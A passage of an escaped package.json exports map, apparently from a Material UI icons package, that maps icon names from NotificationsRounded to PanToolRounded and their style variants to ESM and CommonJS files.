\"./NotificationsRounded.mjs\"\n    },\n    \"./NotificationsSharp\": {\n      \"import\": \"./NotificationsSharp.mjs\",\n      \"require\": \"./NotificationsSharp.js\",\n      \"default\": \"./NotificationsSharp.mjs\"\n    },\n    \"./NotificationsTwoTone\": {\n      \"import\": \"./NotificationsTwoTone.mjs\",\n      \"require\": \"./NotificationsTwoTone.js\",\n      \"default\": \"./NotificationsTwoTone.mjs\"\n    },\n    \"./Numbers\": {\n      \"import\": \"./Numbers.mjs\",\n      \"require\": \"./Numbers.js\",\n      \"default\": \"./Numbers.mjs\"\n    },\n    \"./NumbersOutlined\": {\n      \"import\": \"./NumbersOutlined.mjs\",\n      \"require\": \"./NumbersOutlined.js\",\n      \"default\": \"./NumbersOutlined.mjs\"\n    },\n    \"./NumbersRounded\": {\n      \"import\": \"./NumbersRounded.mjs\",\n      \"require\": \"./NumbersRounded.js\",\n      \"default\": \"./NumbersRounded.mjs\"\n    },\n    \"./NumbersSharp\": {\n      \"import\": \"./NumbersSharp.mjs\",\n      \"require\": \"./NumbersSharp.js\",\n      \"default\": \"./NumbersSharp.mjs\"\n    },\n    \"./NumbersTwoTone\": {\n      \"import\": \"./NumbersTwoTone.mjs\",\n      \"require\": \"./NumbersTwoTone.js\",\n      \"default\": \"./NumbersTwoTone.mjs\"\n    },\n    \"./OfflineBolt\": {\n      \"import\": \"./OfflineBolt.mjs\",\n      \"require\": \"./OfflineBolt.js\",\n      \"default\": \"./OfflineBolt.mjs\"\n    },\n    \"./OfflineBoltOutlined\": {\n      \"import\": \"./OfflineBoltOutlined.mjs\",\n      \"require\": \"./OfflineBoltOutlined.js\",\n      \"default\": \"./OfflineBoltOutlined.mjs\"\n    },\n    \"./OfflineBoltRounded\": {\n      \"import\": \"./OfflineBoltRounded.mjs\",\n      \"require\": \"./OfflineBoltRounded.js\",\n      \"default\": \"./OfflineBoltRounded.mjs\"\n    },\n    \"./OfflineBoltSharp\": {\n      \"import\": \"./OfflineBoltSharp.mjs\",\n      \"require\": \"./OfflineBoltSharp.js\",\n      \"default\": \"./OfflineBoltSharp.mjs\"\n    },\n    \"./OfflineBoltTwoTone\": {\n      \"require\": \"./OfflineBoltTwoTone.js\",\n      \"import\": \"./OfflineBoltTwoTone.mjs\",\n      \"default\": \"./OfflineBoltTwoTone.mjs\"\n    },\n    \"./OfflinePin\": {\n      \"require\": \"./OfflinePin.js\",\n      \"import\": \"./OfflinePin.mjs\",\n      \"default\": \"./OfflinePin.mjs\"\n    },\n    \"./OfflinePinOutlined\": {\n      \"require\": \"./OfflinePinOutlined.js\",\n      \"import\": \"./OfflinePinOutlined.mjs\",\n      \"default\": \"./OfflinePinOutlined.mjs\"\n    },\n    \"./OfflinePinRounded\": {\n      \"require\": \"./OfflinePinRounded.js\",\n      \"import\": \"./OfflinePinRounded.mjs\",\n      \"default\": \"./OfflinePinRounded.mjs\"\n    },\n    \"./OfflinePinSharp\": {\n      \"require\": \"./OfflinePinSharp.js\",\n      \"import\": \"./OfflinePinSharp.mjs\",\n      \"default\": \"./OfflinePinSharp.mjs\"\n    },\n    \"./OfflinePinTwoTone\": {\n      \"require\": \"./OfflinePinTwoTone.js\",\n      \"import\": \"./OfflinePinTwoTone.mjs\",\n      \"default\": \"./OfflinePinTwoTone.mjs\"\n    },\n    \"./OfflineShare\": {\n      \"require\": \"./OfflineShare.js\",\n      \"import\": \"./OfflineShare.mjs\",\n      \"default\": \"./OfflineShare.mjs\"\n    },\n    \"./OfflineShareOutlined\": {\n      \"require\": \"./OfflineShareOutlined.js\",\n      \"import\": \"./OfflineShareOutlined.mjs\",\n      \"default\": \"./OfflineShareOutlined.mjs\"\n    },\n    \"./OfflineShareRounded\": {\n      \"import\": \"./OfflineShareRounded.mjs\",\n      \"require\": \"./OfflineShareRounded.js\",\n      \"default\": \"./OfflineShareRounded.mjs\"\n    },\n    \"./OfflineShareSharp\": {\n      \"import\": \"./OfflineShareSharp.mjs\",\n      \"require\": \"./OfflineShareSharp.js\",\n      \"default\": \"./OfflineShareSharp.mjs\"\n    },\n    \"./OfflineShareTwoTone\": {\n      \"require\": \"./OfflineShareTwoTone.js\",\n      \"import\": \"./OfflineShareTwoTone.mjs\",\n      \"default\": \"./OfflineShareTwoTone.mjs\"\n    },\n    \"./OilBarrel\": {\n      \"require\": \"./OilBarrel.js\",\n      \"import\": \"./OilBarrel.mjs\",\n      \"default\": \"./OilBarrel.mjs\"\n    },\n    \"./OilBarrelOutlined\": {\n      \"import\": \"./OilBarrelOutlined.mjs\",\n      \"require\": \"./OilBarrelOutlined.js\",\n      \"default\": \"./OilBarrelOutlined.mjs\"\n    },\n    \"./OilBarrelRounded\": {\n      \"import\": \"./OilBarrelRounded.mjs\",\n      \"require\": \"./OilBarrelRounded.js\",\n      \"default\": \"./OilBarrelRounded.mjs\"\n    },\n    \"./OilBarrelSharp\": {\n      \"import\": \"./OilBarrelSharp.mjs\",\n      \"require\": \"./OilBarrelSharp.js\",\n      \"default\": \"./OilBarrelSharp.mjs\"\n    },\n    \"./OilBarrelTwoTone\": {\n      \"import\": \"./OilBarrelTwoTone.mjs\",\n      \"require\": \"./OilBarrelTwoTone.js\",\n      \"default\": \"./OilBarrelTwoTone.mjs\"\n    },\n    \"./OnDeviceTraining\": {\n      \"import\": \"./OnDeviceTraining.mjs\",\n      \"require\": \"./OnDeviceTraining.js\",\n      \"default\": \"./OnDeviceTraining.mjs\"\n    },\n    \"./OnDeviceTrainingOutlined\": {\n      \"import\": \"./OnDeviceTrainingOutlined.mjs\",\n      \"require\": \"./OnDeviceTrainingOutlined.js\",\n      \"default\": \"./OnDeviceTrainingOutlined.mjs\"\n    },\n    \"./OnDeviceTrainingRounded\": {\n      \"import\": \"./OnDeviceTrainingRounded.mjs\",\n      \"require\": \"./OnDeviceTrainingRounded.js\",\n      \"default\": \"./OnDeviceTrainingRounded.mjs\"\n    },\n    \"./OnDeviceTrainingSharp\": {\n      \"import\": \"./OnDeviceTrainingSharp.mjs\",\n      \"require\": \"./OnDeviceTrainingSharp.js\",\n      \"default\": \"./OnDeviceTrainingSharp.mjs\"\n    },\n    \"./OnDeviceTrainingTwoTone\": {\n      \"import\": \"./OnDeviceTrainingTwoTone.mjs\",\n      \"require\": \"./OnDeviceTrainingTwoTone.js\",\n      \"default\": \"./OnDeviceTrainingTwoTone.mjs\"\n    },\n    \"./OndemandVideo\": {\n      \"import\": \"./OndemandVideo.mjs\",\n      \"require\": \"./OndemandVideo.js\",\n      \"default\": \"./OndemandVideo.mjs\"\n    },\n    \"./OndemandVideoOutlined\": {\n      \"import\": \"./OndemandVideoOutlined.mjs\",\n      \"require\": \"./OndemandVideoOutlined.js\",\n      \"default\": \"./OndemandVideoOutlined.mjs\"\n    },\n    \"./OndemandVideoRounded\": {\n      \"import\": \"./OndemandVideoRounded.mjs\",\n      \"require\": \"./OndemandVideoRounded.js\",\n      \"default\": \"./OndemandVideoRounded.mjs\"\n    },\n    \"./OndemandVideoSharp\": {\n      \"import\": \"./OndemandVideoSharp.mjs\",\n      \"require\": \"./OndemandVideoSharp.js\",\n      \"default\": \"./OndemandVideoSharp.mjs\"\n    },\n    \"./OndemandVideoTwoTone\": {\n      \"import\": \"./OndemandVideoTwoTone.mjs\",\n      \"require\": \"./OndemandVideoTwoTone.js\",\n      \"default\": \"./OndemandVideoTwoTone.mjs\"\n    },\n    \"./OneK\": {\n      \"import\": \"./OneK.mjs\",\n      \"require\": \"./OneK.js\",\n      \"default\": \"./OneK.mjs\"\n    },\n    \"./OneKOutlined\": {\n      \"import\": \"./OneKOutlined.mjs\",\n      \"require\": \"./OneKOutlined.js\",\n      \"default\": \"./OneKOutlined.mjs\"\n    },\n    \"./OneKPlus\": {\n      \"import\": \"./OneKPlus.mjs\",\n      \"require\": \"./OneKPlus.js\",\n      \"default\": \"./OneKPlus.mjs\"\n    },\n    \"./OneKPlusOutlined\": {\n      \"import\": \"./OneKPlusOutlined.mjs\",\n      \"require\": \"./OneKPlusOutlined.js\",\n      \"default\": \"./OneKPlusOutlined.mjs\"\n    },\n    \"./OneKPlusRounded\": {\n      \"import\": \"./OneKPlusRounded.mjs\",\n      \"require\": \"./OneKPlusRounded.js\",\n      \"default\": \"./OneKPlusRounded.mjs\"\n    },\n    \"./OneKPlusSharp\": {\n      \"import\": \"./OneKPlusSharp.mjs\",\n      \"require\": \"./OneKPlusSharp.js\",\n      \"default\": \"./OneKPlusSharp.mjs\"\n    },\n    \"./OneKPlusTwoTone\": {\n      \"import\": \"./OneKPlusTwoTone.mjs\",\n      \"require\": \"./OneKPlusTwoTone.js\",\n      \"default\": \"./OneKPlusTwoTone.mjs\"\n    },\n    \"./OneKRounded\": {\n      \"import\": \"./OneKRounded.mjs\",\n      \"require\": \"./OneKRounded.js\",\n      \"default\": \"./OneKRounded.mjs\"\n    },\n    \"./OneKSharp\": {\n      \"import\": \"./OneKSharp.mjs\",\n      \"require\": \"./OneKSharp.js\",\n      \"default\": \"./OneKSharp.mjs\"\n    },\n    \"./OneKTwoTone\": {\n      \"import\": \"./OneKTwoTone.mjs\",\n      \"require\": \"./OneKTwoTone.js\",\n      \"default\": \"./OneKTwoTone.mjs\"\n    },\n    \"./OneKk\": {\n      \"import\": \"./OneKk.mjs\",\n      \"require\": \"./OneKk.js\",\n      \"default\": \"./OneKk.mjs\"\n    },\n    \"./OneKkOutlined\": {\n      \"import\": \"./OneKkOutlined.mjs\",\n      \"require\": \"./OneKkOutlined.js\",\n      \"default\": \"./OneKkOutlined.mjs\"\n    },\n    \"./OneKkRounded\": {\n      \"import\": \"./OneKkRounded.mjs\",\n      \"require\": \"./OneKkRounded.js\",\n      \"default\": \"./OneKkRounded.mjs\"\n    },\n    \"./OneKkSharp\": {\n      \"require\": \"./OneKkSharp.js\",\n      \"import\": \"./OneKkSharp.mjs\",\n      \"default\": \"./OneKkSharp.mjs\"\n    },\n    \"./OneKkTwoTone\": {\n      \"require\": \"./OneKkTwoTone.js\",\n      \"import\": \"./OneKkTwoTone.mjs\",\n      \"default\": \"./OneKkTwoTone.mjs\"\n    },\n    \"./OnlinePrediction\": {\n      \"require\": \"./OnlinePrediction.js\",\n      \"import\": \"./OnlinePrediction.mjs\",\n      \"default\": \"./OnlinePrediction.mjs\"\n    },\n    \"./OnlinePredictionOutlined\": {\n      \"require\": \"./OnlinePredictionOutlined.js\",\n      \"import\": \"./OnlinePredictionOutlined.mjs\",\n      \"default\": \"./OnlinePredictionOutlined.mjs\"\n    },\n    \"./OnlinePredictionRounded\": {\n      \"require\": \"./OnlinePredictionRounded.js\",\n      \"import\": \"./OnlinePredictionRounded.mjs\",\n      \"default\": \"./OnlinePredictionRounded.mjs\"\n    },\n    \"./OnlinePredictionSharp\": {\n      \"require\": \"./OnlinePredictionSharp.js\",\n      \"import\": \"./OnlinePredictionSharp.mjs\",\n      \"default\": \"./OnlinePredictionSharp.mjs\"\n    },\n    \"./OnlinePredictionTwoTone\": {\n      \"require\": \"./OnlinePredictionTwoTone.js\",\n      \"import\": \"./OnlinePredictionTwoTone.mjs\",\n      \"default\": \"./OnlinePredictionTwoTone.mjs\"\n    },\n    \"./Opacity\": {\n      \"require\": \"./Opacity.js\",\n      \"import\": \"./Opacity.mjs\",\n      \"default\": \"./Opacity.mjs\"\n    },\n    \"./OpacityOutlined\": {\n      \"require\": \"./OpacityOutlined.js\",\n      \"import\": \"./OpacityOutlined.mjs\",\n      \"default\": \"./OpacityOutlined.mjs\"\n    },\n    \"./OpacityRounded\": {\n      \"require\": \"./OpacityRounded.js\",\n      \"import\": \"./OpacityRounded.mjs\",\n      \"default\": \"./OpacityRounded.mjs\"\n    },\n    \"./OpacitySharp\": {\n      \"require\": \"./OpacitySharp.js\",\n      \"import\": \"./OpacitySharp.mjs\",\n      \"default\": \"./OpacitySharp.mjs\"\n    },\n    \"./OpacityTwoTone\": {\n      \"import\": \"./OpacityTwoTone.mjs\",\n      \"require\": \"./OpacityTwoTone.js\",\n      \"default\": \"./OpacityTwoTone.mjs\"\n    },\n    \"./OpenInBrowser\": {\n      \"import\": \"./OpenInBrowser.mjs\",\n      \"require\": \"./OpenInBrowser.js\",\n      \"default\": \"./OpenInBrowser.mjs\"\n    },\n    \"./OpenInBrowserOutlined\": {\n      \"import\": \"./OpenInBrowserOutlined.mjs\",\n      \"require\": \"./OpenInBrowserOutlined.js\",\n      \"default\": \"./OpenInBrowserOutlined.mjs\"\n    },\n    \"./OpenInBrowserRounded\": {\n      \"import\": \"./OpenInBrowserRounded.mjs\",\n      \"require\": \"./OpenInBrowserRounded.js\",\n      \"default\": \"./OpenInBrowserRounded.mjs\"\n    },\n    \"./OpenInBrowserSharp\": {\n      \"import\": \"./OpenInBrowserSharp.mjs\",\n      \"require\": \"./OpenInBrowserSharp.js\",\n      \"default\": \"./OpenInBrowserSharp.mjs\"\n    },\n    \"./OpenInBrowserTwoTone\": {\n      \"require\": \"./OpenInBrowserTwoTone.js\",\n      \"import\": \"./OpenInBrowserTwoTone.mjs\",\n      \"default\": \"./OpenInBrowserTwoTone.mjs\"\n    },\n    \"./OpenInFull\": {\n      \"require\": \"./OpenInFull.js\",\n      \"import\": \"./OpenInFull.mjs\",\n      \"default\": \"./OpenInFull.mjs\"\n    },\n    \"./OpenInFullOutlined\": {\n      \"require\": \"./OpenInFullOutlined.js\",\n      \"import\": \"./OpenInFullOutlined.mjs\",\n      \"default\": \"./OpenInFullOutlined.mjs\"\n    },\n    \"./OpenInFullRounded\": {\n      \"require\": \"./OpenInFullRounded.js\",\n      \"import\": \"./OpenInFullRounded.mjs\",\n      \"default\": \"./OpenInFullRounded.mjs\"\n    },\n    \"./OpenInFullSharp\": {\n      \"require\": \"./OpenInFullSharp.js\",\n      \"import\": \"./OpenInFullSharp.mjs\",\n      \"default\": \"./OpenInFullSharp.mjs\"\n    },\n    \"./OpenInFullTwoTone\": {\n      \"require\": \"./OpenInFullTwoTone.js\",\n      \"import\": \"./OpenInFullTwoTone.mjs\",\n      \"default\": \"./OpenInFullTwoTone.mjs\"\n    },\n    \"./OpenInNew\": {\n      \"require\": \"./OpenInNew.js\",\n      \"import\": \"./OpenInNew.mjs\",\n      \"default\": \"./OpenInNew.mjs\"\n    },\n    \"./OpenInNewOff\": {\n      \"require\": \"./OpenInNewOff.js\",\n      \"import\": \"./OpenInNewOff.mjs\",\n      \"default\": \"./OpenInNewOff.mjs\"\n    },\n    \"./OpenInNewOffOutlined\": {\n      \"require\": \"./OpenInNewOffOutlined.js\",\n      \"import\": \"./OpenInNewOffOutlined.mjs\",\n      \"default\": \"./OpenInNewOffOutlined.mjs\"\n    },\n    \"./OpenInNewOffRounded\": {\n      \"import\": \"./OpenInNewOffRounded.mjs\",\n      \"require\": \"./OpenInNewOffRounded.js\",\n      \"default\": \"./OpenInNewOffRounded.mjs\"\n    },\n    \"./OpenInNewOffSharp\": {\n      \"import\": \"./OpenInNewOffSharp.mjs\",\n      \"require\": \"./OpenInNewOffSharp.js\",\n      \"default\": \"./OpenInNewOffSharp.mjs\"\n    },\n    \"./OpenInNewOffTwoTone\": {\n      \"require\": \"./OpenInNewOffTwoTone.js\",\n      \"import\": \"./OpenInNewOffTwoTone.mjs\",\n      \"default\": \"./OpenInNewOffTwoTone.mjs\"\n    },\n    \"./OpenInNewOutlined\": {\n      \"require\": \"./OpenInNewOutlined.js\",\n      \"import\": \"./OpenInNewOutlined.mjs\",\n      \"default\": \"./OpenInNewOutlined.mjs\"\n    },\n    \"./OpenInNewRounded\": {\n      \"require\": \"./OpenInNewRounded.js\",\n      \"import\": \"./OpenInNewRounded.mjs\",\n      \"default\": \"./OpenInNewRounded.mjs\"\n    },\n    \"./OpenInNewSharp\": {\n      \"require\": \"./OpenInNewSharp.js\",\n      \"import\": \"./OpenInNewSharp.mjs\",\n      \"default\": \"./OpenInNewSharp.mjs\"\n    },\n    \"./OpenInNewTwoTone\": {\n      \"import\": \"./OpenInNewTwoTone.mjs\",\n      \"require\": \"./OpenInNewTwoTone.js\",\n      \"default\": \"./OpenInNewTwoTone.mjs\"\n    },\n    \"./OpenWith\": {\n      \"import\": \"./OpenWith.mjs\",\n      \"require\": \"./OpenWith.js\",\n      \"default\": \"./OpenWith.mjs\"\n    },\n    \"./OpenWithOutlined\": {\n      \"import\": \"./OpenWithOutlined.mjs\",\n      \"require\": \"./OpenWithOutlined.js\",\n      \"default\": \"./OpenWithOutlined.mjs\"\n    },\n    \"./OpenWithRounded\": {\n      \"import\": \"./OpenWithRounded.mjs\",\n      \"require\": \"./OpenWithRounded.js\",\n      \"default\": \"./OpenWithRounded.mjs\"\n    },\n    \"./OpenWithSharp\": {\n      \"require\": \"./OpenWithSharp.js\",\n      \"import\": \"./OpenWithSharp.mjs\",\n      \"default\": \"./OpenWithSharp.mjs\"\n    },\n    \"./OpenWithTwoTone\": {\n      \"require\": \"./OpenWithTwoTone.js\",\n      \"import\": \"./OpenWithTwoTone.mjs\",\n      \"default\": \"./OpenWithTwoTone.mjs\"\n    },\n    \"./OtherHouses\": {\n      \"require\": \"./OtherHouses.js\",\n      \"import\": \"./OtherHouses.mjs\",\n      \"default\": \"./OtherHouses.mjs\"\n    },\n    \"./OtherHousesOutlined\": {\n      \"require\": \"./OtherHousesOutlined.js\",\n      \"import\": \"./OtherHousesOutlined.mjs\",\n      \"default\": \"./OtherHousesOutlined.mjs\"\n    },\n    \"./OtherHousesRounded\": {\n      \"require\": \"./OtherHousesRounded.js\",\n      \"import\": \"./OtherHousesRounded.mjs\",\n      \"default\": \"./OtherHousesRounded.mjs\"\n    },\n    \"./OtherHousesSharp\": {\n      \"require\": \"./OtherHousesSharp.js\",\n      \"import\": \"./OtherHousesSharp.mjs\",\n      \"default\": \"./OtherHousesSharp.mjs\"\n    },\n    \"./OtherHousesTwoTone\": {\n      \"require\": \"./OtherHousesTwoTone.js\",\n      \"import\": \"./OtherHousesTwoTone.mjs\",\n      \"default\": \"./OtherHousesTwoTone.mjs\"\n    },\n    \"./Outbound\": {\n      \"require\": \"./Outbound.js\",\n      \"import\": \"./Outbound.mjs\",\n      \"default\": \"./Outbound.mjs\"\n    },\n    \"./OutboundOutlined\": {\n      \"import\": \"./OutboundOutlined.mjs\",\n      \"require\": \"./OutboundOutlined.js\",\n      \"default\": \"./OutboundOutlined.mjs\"\n    },\n    \"./OutboundRounded\": {\n      \"import\": \"./OutboundRounded.mjs\",\n      \"require\": \"./OutboundRounded.js\",\n      \"default\": \"./OutboundRounded.mjs\"\n    },\n    \"./OutboundSharp\": {\n      \"import\": \"./OutboundSharp.mjs\",\n      \"require\": \"./OutboundSharp.js\",\n      \"default\": \"./OutboundSharp.mjs\"\n    },\n    \"./OutboundTwoTone\": {\n      \"import\": \"./OutboundTwoTone.mjs\",\n      \"require\": \"./OutboundTwoTone.js\",\n      \"default\": \"./OutboundTwoTone.mjs\"\n    },\n    \"./Outbox\": {\n      \"require\": \"./Outbox.js\",\n      \"import\": \"./Outbox.mjs\",\n      \"default\": \"./Outbox.mjs\"\n    },\n    \"./OutboxOutlined\": {\n      \"require\": \"./OutboxOutlined.js\",\n      \"import\": \"./OutboxOutlined.mjs\",\n      \"default\": \"./OutboxOutlined.mjs\"\n    },\n    \"./OutboxRounded\": {\n      \"require\": \"./OutboxRounded.js\",\n      \"import\": \"./OutboxRounded.mjs\",\n      \"default\": \"./OutboxRounded.mjs\"\n    },\n    \"./OutboxSharp\": {\n      \"require\": \"./OutboxSharp.js\",\n      \"import\": \"./OutboxSharp.mjs\",\n      \"default\": \"./OutboxSharp.mjs\"\n    },\n    \"./OutboxTwoTone\": {\n      \"require\": \"./OutboxTwoTone.js\",\n      \"import\": \"./OutboxTwoTone.mjs\",\n      \"default\": \"./OutboxTwoTone.mjs\"\n    },\n    \"./OutdoorGrill\": {\n      \"require\": \"./OutdoorGrill.js\",\n      \"import\": \"./OutdoorGrill.mjs\",\n      \"default\": \"./OutdoorGrill.mjs\"\n    },\n    \"./OutdoorGrillOutlined\": {\n      \"require\": \"./OutdoorGrillOutlined.js\",\n      \"import\": \"./OutdoorGrillOutlined.mjs\",\n      \"default\": \"./OutdoorGrillOutlined.mjs\"\n    },\n    \"./OutdoorGrillRounded\": {\n      \"require\": \"./OutdoorGrillRounded.js\",\n      \"import\": \"./OutdoorGrillRounded.mjs\",\n      \"default\": \"./OutdoorGrillRounded.mjs\"\n    },\n    \"./OutdoorGrillSharp\": {\n      \"require\": \"./OutdoorGrillSharp.js\",\n      \"import\": \"./OutdoorGrillSharp.mjs\",\n      \"default\": \"./OutdoorGrillSharp.mjs\"\n    },\n    \"./OutdoorGrillTwoTone\": {\n      \"import\": \"./OutdoorGrillTwoTone.mjs\",\n      \"require\": \"./OutdoorGrillTwoTone.js\",\n      \"default\": \"./OutdoorGrillTwoTone.mjs\"\n    },\n    \"./OutgoingMail\": {\n      \"import\": \"./OutgoingMail.mjs\",\n      \"require\": \"./OutgoingMail.js\",\n      \"default\": \"./OutgoingMail.mjs\"\n    },\n    \"./Outlet\": {\n      \"import\": \"./Outlet.mjs\",\n      \"require\": \"./Outlet.js\",\n      \"default\": \"./Outlet.mjs\"\n    },\n    \"./OutletOutlined\": {\n      \"import\": \"./OutletOutlined.mjs\",\n      \"require\": \"./OutletOutlined.js\",\n      \"default\": \"./OutletOutlined.mjs\"\n    },\n    \"./OutletRounded\": {\n      \"import\": \"./OutletRounded.mjs\",\n      \"require\": \"./OutletRounded.js\",\n      \"default\": \"./OutletRounded.mjs\"\n    },\n    \"./OutletSharp\": {\n      \"import\": \"./OutletSharp.mjs\",\n      \"require\": \"./OutletSharp.js\",\n      \"default\": \"./OutletSharp.mjs\"\n    },\n    \"./OutletTwoTone\": {\n      \"import\": \"./OutletTwoTone.mjs\",\n      \"require\": \"./OutletTwoTone.js\",\n      \"default\": \"./OutletTwoTone.mjs\"\n    },\n    \"./OutlinedFlag\": {\n      \"import\": \"./OutlinedFlag.mjs\",\n      \"require\": \"./OutlinedFlag.js\",\n      \"default\": \"./OutlinedFlag.mjs\"\n    },\n    \"./OutlinedFlagOutlined\": {\n      \"require\": \"./OutlinedFlagOutlined.js\",\n      \"import\": \"./OutlinedFlagOutlined.mjs\",\n      \"default\": \"./OutlinedFlagOutlined.mjs\"\n    },\n    \"./OutlinedFlagRounded\": {\n      \"require\": \"./OutlinedFlagRounded.js\",\n      \"import\": \"./OutlinedFlagRounded.mjs\",\n      \"default\": \"./OutlinedFlagRounded.mjs\"\n    },\n    \"./OutlinedFlagSharp\": {\n      \"require\": \"./OutlinedFlagSharp.js\",\n      \"import\": \"./OutlinedFlagSharp.mjs\",\n      \"default\": \"./OutlinedFlagSharp.mjs\"\n    },\n    \"./OutlinedFlagTwoTone\": {\n      \"require\": \"./OutlinedFlagTwoTone.js\",\n      \"import\": \"./OutlinedFlagTwoTone.mjs\",\n      \"default\": \"./OutlinedFlagTwoTone.mjs\"\n    },\n    \"./Output\": {\n      \"require\": \"./Output.js\",\n      \"import\": \"./Output.mjs\",\n      \"default\": \"./Output.mjs\"\n    },\n    \"./OutputOutlined\": {\n      \"require\": \"./OutputOutlined.js\",\n      \"import\": \"./OutputOutlined.mjs\",\n      \"default\": \"./OutputOutlined.mjs\"\n    },\n    \"./OutputRounded\": {\n      \"require\": \"./OutputRounded.js\",\n      \"import\": \"./OutputRounded.mjs\",\n      \"default\": \"./OutputRounded.mjs\"\n    },\n    \"./OutputSharp\": {\n      \"require\": \"./OutputSharp.js\",\n      \"import\": \"./OutputSharp.mjs\",\n      \"default\": \"./OutputSharp.mjs\"\n    },\n    \"./OutputTwoTone\": {\n      \"import\": \"./OutputTwoTone.mjs\",\n      \"require\": \"./OutputTwoTone.js\",\n      \"default\": \"./OutputTwoTone.mjs\"\n    },\n    \"./Padding\": {\n      \"import\": \"./Padding.mjs\",\n      \"require\": \"./Padding.js\",\n      \"default\": \"./Padding.mjs\"\n    },\n    \"./PaddingOutlined\": {\n      \"import\": \"./PaddingOutlined.mjs\",\n      \"require\": \"./PaddingOutlined.js\",\n      \"default\": \"./PaddingOutlined.mjs\"\n    },\n    \"./PaddingRounded\": {\n      \"import\": \"./PaddingRounded.mjs\",\n      \"require\": \"./PaddingRounded.js\",\n      \"default\": \"./PaddingRounded.mjs\"\n    },\n    \"./PaddingSharp\": {\n      \"import\": \"./PaddingSharp.mjs\",\n      \"require\": \"./PaddingSharp.js\",\n      \"default\": \"./PaddingSharp.mjs\"\n    },\n    \"./PaddingTwoTone\": {\n      \"import\": \"./PaddingTwoTone.mjs\",\n      \"require\": \"./PaddingTwoTone.js\",\n      \"default\": \"./PaddingTwoTone.mjs\"\n    },\n    \"./Pages\": {\n      \"import\": \"./Pages.mjs\",\n      \"require\": \"./Pages.js\",\n      \"default\": \"./Pages.mjs\"\n    },\n    \"./PagesOutlined\": {\n      \"import\": \"./PagesOutlined.mjs\",\n      \"require\": \"./PagesOutlined.js\",\n      \"default\": \"./PagesOutlined.mjs\"\n    },\n    \"./PagesRounded\": {\n      \"import\": \"./PagesRounded.mjs\",\n      \"require\": \"./PagesRounded.js\",\n      \"default\": \"./PagesRounded.mjs\"\n    },\n    \"./PagesSharp\": {\n      \"require\": \"./PagesSharp.js\",\n      \"import\": \"./PagesSharp.mjs\",\n      \"default\": \"./PagesSharp.mjs\"\n    },\n    \"./PagesTwoTone\": {\n      \"require\": \"./PagesTwoTone.js\",\n      \"import\": \"./PagesTwoTone.mjs\",\n      \"default\": \"./PagesTwoTone.mjs\"\n    },\n    \"./Pageview\": {\n      \"require\": \"./Pageview.js\",\n      \"import\": \"./Pageview.mjs\",\n      \"default\": \"./Pageview.mjs\"\n    },\n    \"./PageviewOutlined\": {\n      \"require\": \"./PageviewOutlined.js\",\n      \"import\": \"./PageviewOutlined.mjs\",\n      \"default\": \"./PageviewOutlined.mjs\"\n    },\n    \"./PageviewRounded\": {\n      \"require\": \"./PageviewRounded.js\",\n      \"import\": \"./PageviewRounded.mjs\",\n      \"default\": \"./PageviewRounded.mjs\"\n    },\n    \"./PageviewSharp\": {\n      \"require\": \"./PageviewSharp.js\",\n      \"import\": \"./PageviewSharp.mjs\",\n      \"default\": \"./PageviewSharp.mjs\"\n    },\n    \"./PageviewTwoTone\": {\n      \"import\": \"./PageviewTwoTone.mjs\",\n      \"require\": \"./PageviewTwoTone.js\",\n      \"default\": \"./PageviewTwoTone.mjs\"\n    },\n    \"./Paid\": {\n      \"import\": \"./Paid.mjs\",\n      \"require\": \"./Paid.js\",\n      \"default\": \"./Paid.mjs\"\n    },\n    \"./PaidOutlined\": {\n      \"import\": \"./PaidOutlined.mjs\",\n      \"require\": \"./PaidOutlined.js\",\n      \"default\": \"./PaidOutlined.mjs\"\n    },\n    \"./PaidRounded\": {\n      \"import\": \"./PaidRounded.mjs\",\n      \"require\": \"./PaidRounded.js\",\n      \"default\": \"./PaidRounded.mjs\"\n    },\n    \"./PaidSharp\": {\n      \"import\": \"./PaidSharp.mjs\",\n      \"require\": \"./PaidSharp.js\",\n      \"default\": \"./PaidSharp.mjs\"\n    },\n    \"./PaidTwoTone\": {\n      \"import\": \"./PaidTwoTone.mjs\",\n      \"require\": \"./PaidTwoTone.js\",\n      \"default\": \"./PaidTwoTone.mjs\"\n    },\n    \"./Palette\": {\n      \"import\": \"./Palette.mjs\",\n      \"require\": \"./Palette.js\",\n      \"default\": \"./Palette.mjs\"\n    },\n    \"./PaletteOutlined\": {\n      \"import\": \"./PaletteOutlined.mjs\",\n      \"require\": \"./PaletteOutlined.js\",\n      \"default\": \"./PaletteOutlined.mjs\"\n    },\n    \"./PaletteRounded\": {\n      \"require\": \"./PaletteRounded.js\",\n      \"import\": \"./PaletteRounded.mjs\",\n      \"default\": \"./PaletteRounded.mjs\"\n    },\n    \"./PaletteSharp\": {\n      \"require\": \"./PaletteSharp.js\",\n      \"import\": \"./PaletteSharp.mjs\",\n      \"default\": \"./PaletteSharp.mjs\"\n    },\n    \"./PaletteTwoTone\": {\n      \"require\": \"./PaletteTwoTone.js\",\n      \"import\": \"./PaletteTwoTone.mjs\",\n      \"default\": \"./PaletteTwoTone.mjs\"\n    },\n    \"./Pallet\": {\n      \"require\": \"./Pallet.js\",\n      \"import\": \"./Pallet.mjs\",\n      \"default\": \"./Pallet.mjs\"\n    },\n    \"./PanTool\": {\n      \"import\": \"./PanTool.mjs\",\n      \"require\": \"./PanTool.js\",\n      \"default\": \"./PanTool.mjs\"\n    },\n    \"./PanToolAlt\": {\n      \"import\": \"./PanToolAlt.mjs\",\n      \"require\": \"./PanToolAlt.js\",\n      \"default\": \"./PanToolAlt.mjs\"\n    },\n    \"./PanToolAltOutlined\": {\n      \"import\": \"./PanToolAltOutlined.mjs\",\n      \"require\": \"./PanToolAltOutlined.js\",\n      \"default\": \"./PanToolAltOutlined.mjs\"\n    },\n    \"./PanToolAltRounded\": {\n      \"import\": \"./PanToolAltRounded.mjs\",\n      \"require\": \"./PanToolAltRounded.js\",\n      \"default\": \"./PanToolAltRounded.mjs\"\n    },\n    \"./PanToolAltSharp\": {\n      \"import\": \"./PanToolAltSharp.mjs\",\n      \"require\": \"./PanToolAltSharp.js\",\n      \"default\": \"./PanToolAltSharp.mjs\"\n    },\n    \"./PanToolAltTwoTone\": {\n      \"import\": \"./PanToolAltTwoTone.mjs\",\n      \"require\": \"./PanToolAltTwoTone.js\",\n      \"default\": \"./PanToolAltTwoTone.mjs\"\n    },\n    \"./PanToolOutlined\": {\n      \"import\": \"./PanToolOutlined.mjs\",\n      \"require\": \"./PanToolOutlined.js\",\n      \"default\": \"./PanToolOutlined.mjs\"\n    },\n    \"./PanToolRounded\": {\n      \"import\": \"./PanToolRounded.mjs\",\n      \"require\": \"./PanToolRounded.js\",\n      \"default\": 